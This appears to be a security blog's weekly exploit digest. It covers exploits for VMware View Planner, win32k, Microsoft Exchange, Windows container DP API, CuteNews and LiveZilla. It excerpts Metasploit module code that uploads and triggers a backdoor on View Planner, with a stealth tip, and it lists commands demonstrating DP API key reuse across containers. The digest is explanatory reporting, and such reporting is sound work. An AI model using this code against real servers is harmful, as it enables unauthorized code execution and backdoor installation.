Welcome to our weekly exploit digest! We should say this hasn’t been a big week because guys keep producing exploits for the vulnerabilities discovered in the 1st half of March. Nevertheless, we have some new good arrivals for VMware, MS Windows and Win32 to talk about.

New 4+ scored exploits have arrived for 7 software titles:

• VMware View Planner (v4.6)
• Win32k ConsoleControl
• Microsoft Exchange 2019
• Microsoft Windows Containers DP API
• SonLogger (v4.2.3.3)
• LiveZilla Server (v8.0.1.0)
• CuteNews (v2.1.2)

Here are the types of new exploiting tools:

File upload	2
RCE	1
Offset Confusion	1
Cryptography Flaw	1
SSRF	1
XSS	1

And the title winners of the week are: 

I. The Menace Unleashed

The title goes to this angry piece of code:

The versions of VMWare View Planner prior to 4.6 Security Patch 1 contain a remote code execution vulnerability (RCE). 

This module exploits an unauthenticated log file upload within the log_upload_wsgi.py file, where an unauthorized attacker with network access to View Planner Harness could upload and execute an arbitrary file in the logupload web application.

def upload_file(content)  
 mime = Rex::MIME::Message.new  
 mime.add_part(content, 'application/octet-stream', nil, "form-data; name=\"logfile\";filename=\"#{Rex::Text.rand_text_alpha(20)}\"")  
 mime.add_part('{"itrLogPath":"/etc/http/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}', nil, nil, 'form-data; name="logMetaData"')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'logupload'),  
'ctype' => "multipart/form-data; boundary=#{mime.bound}",  
'data' => mime.to_s  
)  
...

Successful exploitation of this vulnerability can result in RCE as the apache user inside the apacheServer Docker container. Let’s look how it’s realized.

First grab the template file from a clean install with a backdoor section added to it. Then fill in the PAYLOAD placeholder with the payload to execute.

data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname) 
file_content = File.read(File.join(data_dir, 'log_upload_wsgi.py'))    payload.encoded.gsub!(/"/, '\\"')
file_content['PAYLOAD'] = payload.encoded 

When the things are primed, upload the file to the target.

print_status('Uploading backdoor to system via the arbitrary file upload vulnerability!')
upload_file(file_content)
print_good('Backdoor uploaded!')

Then use the OPTIONS request to trigger the backdoor. Technically this could be any other HTTP method including invalid ones like BACKDOOR, but for the stealth you better use a legit one.

send_request_cgi(   'method' => 'OPTIONS',   'uri' => normalize_uri(target_uri.path, 'logupload')   ) ...

The second place in this category goes here: 

A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\SYSTEM. 

The flaw exists in how the WndExtra field of a window can be manipulated into being treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to achieve an out of bounds write operation, eventually leading to privilege escalation.

---

II. The Geek of the Week

In our not so humble opinion, this one is the coolest thing we saw last week. It is all about Windows Docker Information Disclosure Vulnerability, and because we love our Docker containers, so

The title goes to this exploit:

The Windows Data Protection API (DP API) allows applications to encrypt arbitrary data without managing keys. You can pass any data to the API, and it then returns an encrypted blob, or you can reverse an encrypted blob with DP API to recover the plain text. The cryptographic key used is either tied to the user context or is unique to a machine. There was a design issue with DP API in containers which resulted in DP API using the same key in all Windows containers. Additionally, these keys were public in base-image layers published by Microsoft.

The above vulnerability applies to both user- and machine-key DP API encryption within Windows Docker containers, we used the machine key encryption in our explanations. Typically, a machine key is tied to a (virtual-)machine. Therefore, a machine is not capable of decrypting data encrypted by an application on another device. However, due to a design matter, DP API machine keys used in containers came from the container images. Since Windows Docker images are based on identical base images, the containers’ DP API keys were the same. As long as the base image is public, the DP API keys were public also.

Therefore, DP API operations performed by any Windows container application were ineffective, as the encryption key that was used is public. That is why organizations that used DP API in Windows Docker containers and relied on it to store encrypted data are in a potentially insecure location and should consider this data as compromised.

Lets’ see how to make this exploit work. First, start a docker container called Alice on VM1:

\$ docker run --name Alice -it mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019 cmd.exe

Then, encrypt a file in the Alice container using the powershell script vault.ps1:

C:\>powershell.exe -File vault.ps1 -StoreSecret "This is my secret text" secret.txt
C:\>type secret.txt AQAAA...vJ8aUP9 

Start a docker container Bob on VM2:

\$ docker run --name Bob -it mcr.microsoft.com/dotnet/framework/runtime:4.8-windowsservercore-ltsc2019 cmd.exe

The next command shows that the file encrypted by Alice on VM1 can be decrypted in the Bob container on VM2:

C:\>powershell.exe -File vault.ps1 secret.txt This is my secret text

Next use the vault.ps1 PowerShell script from https://blag.nullteilerfrei.de/2018/01/05/powershell-dpapi-script/.

---

Other hi-scored exploits published this week: 

This module exploits an unauthenticated arbitrary file upload via insecure POST request.

This one exploits an SSRF vulnerability in Exchange that allows privileged access to Exchange’s backend resources - one of the four zero-day vulnerabilities in MS Exchange discovered in March.

An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal.

LiveZilla Server before 8.0.1.1 is vulnerable to XSS in mobile/index.php via the Accept-Language HTTP header.